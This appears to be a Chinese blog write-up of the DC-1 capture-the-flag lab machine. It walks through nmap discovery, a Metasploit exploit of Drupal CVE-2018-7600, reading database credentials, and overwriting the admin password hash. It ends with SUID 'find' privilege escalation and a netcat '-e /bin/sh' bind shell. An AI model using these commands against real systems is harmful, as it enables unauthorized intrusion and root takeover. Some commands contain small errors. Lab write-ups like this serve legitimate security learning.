背景
每个靶机作者都对靶机做了详细的描述以及攻击目标,比如DC1就需要找到5个flag,最终目标是在root的主目录中找到并读取该标志!

通过每个flag所获得知识点

1、msf的熟练使用以及搜索可利用漏洞(Drupal)
2、留意目标网站的配置文件
3、数据库管理员提权(更新管理员密码或者添加一个新用户)
4、suid提权的命令(nmap、vim、find、bash、more、less、nano、cp)

环境配置
开始之前让我们先来看看靶机与攻击机的配置,两者均是NAT模式
kali ip:192.168.13.128

靶机复现
开启DC1靶机后 无法得到IP地址
首先使用NMAP探测靶机IP地址
nmap -sP 192.168.13.1/24

45592-3cqmk07q81k.png

得到靶机地址为192.168.13.130
扫描开放端口

40307-yx9ytx3zeh.png

开放了80、22、111端口
访问其80端口查看
通过插件得知这是一个Drupal7的一个cms

08254-7yz25tx24et.png

使用msf搜索Drupal可以利用的漏洞
可以逐个进行尝试
Drupal系统没有对表单API接口的AJAX请求输入进行充分的检查,这就使得攻击者能够向内部表单结构中注入一个恶意的载荷,将导致Drupal系统在未进行用户认证的情况下执行这个载荷形成一个RCE(CVE-2018-7600)

使用msf搜索Drupal可以利用的漏洞
可以逐个进行尝试
Drupal系统没有对表单API接口的AJAX请求输入进行充分的检查,这就使得攻击者能够向内部表单结构中注入一个恶意的载荷,将导致Drupal系统在未进行用户认证的情况下执行这个载荷形成一个RCE(CVE-2018-7600)

72148-w32ekwxsd4p.png

设置攻击目标
发送载荷

30812-mzy6hhn16ng.png

65627-u2b725o3pq.png

可以看到成功获取一个session
我们可以看到打开session连接到靶机,接下来我们利用python反弹一个交互的shell。

python -c 'import pty;pty.spawn("/bin/bash")'

可以理解为pty是ilnux下面一个shell的东西吧
spawn指pty模块的生成一个进程

85887-lnj6rc9752c.png

查看当前目录下的文件
发现flag1
说的是一个好的cms都有一个配置文件

97697-6m2a20w1ert.png

百度一下Drupal的配置文件信息 发现在sites/default/settings.php
查看配置文件 发现数据库配置信息
获取了数据库账号和密码

01152-bo0v9d6995.png

连接数据库查看

71726-fc3k1luvmw.png

24803-kuk7ko0za5p.png

可以看到他数据库加密应该用了自己的hash算法
到此,我们看到了flag3到底在哪里了(uid为1的用户是不受Drupal权限管制的,具有最高权限。)现在我们有两个思路:
1利用他的hash算法 生成一个新密码 替换掉他原来的密码

show databases;
use drupaldb;
show tables;
select * from users\G

52639-wvy0n84npbe.png

有admin用户 那我们就修改admin的密码吧
找到其hash生成脚本的位置
/scripts/password-hash.sh

16899-11r9x4718t7m.png

生成123456的hash值
$S$DXvKlt9dPso2DcfTNuxg.UHrc0./5WH6Wo386X1OiQ.ciNuTHwED

11480-ejnkw1u97eo.png

update users set pass="$S$DXvKlt9dPso2DcfTNuxg.UHrc0./5WH6Wo386X1OiQ.ciNuTHwED" where name="admin";

95171-umptwpagpff.png

查看是否修改成功

19204-k0oujy5ybp.png

使用admin 123465登录
可以看到成功了

73613-0qp86h3hlaa.png

2添加一个管理员权限的用户
看一下有没有适用的脚本去添加用户

06047-ggl3yqzelv.png

发现只要小于7.31即可利用:
添加一个名为user 密码123456的管理员用户
可以看到添加成功

57522-yup30u7p0q.png

成功登陆并且获取到flag3

63715-g0te3m4z5qp.png

根据提示查看文件

96434-lzgdvynp8un.png

flag4提示我们在home目录下
查看

19494-yus7azo7yvq.png

或者对flag4用户进行爆破也是可以的

93145-dwad3jvmg6j.png

20970-vwegfwvaeyk.png

顺利得到flag4,同时根据提示(你可以用相同的方法在root目录下)找到最终flag。

使用suid提权
查找一下具有root权限的其他命令
以下几条均可查询:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb { }

51428-pg6p25flkla.png

发现find命令本身就是root权限,那我们查看一下:

29426-rctc2zf71g.png

的确是root权限
进行提权
两种方法

  1. 借用find命令获取一个root权限的shell

    find ./ kevin -exec '/bin/sh' ;

13979-rttcy97tgpr.png

2.使用netcat
既然所有通过find执行的命令都是root权限,那我们利用netcat,可以将它提权为root 权限,首先我们创建一个文件。

touch kevin 
find kevin -exec whoami \;

36397-54kn0f4pid7.png

继续利用find将netcat提权为root权限。

find kevin -exec nc -lvp 5555 -e "/bin/sh" \;
nc 192.168.13.130 5555

41783-bahgu4alx9p.png

44531-oezniljcslg.png

成功获取最终flag


本文由 wulaoban 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论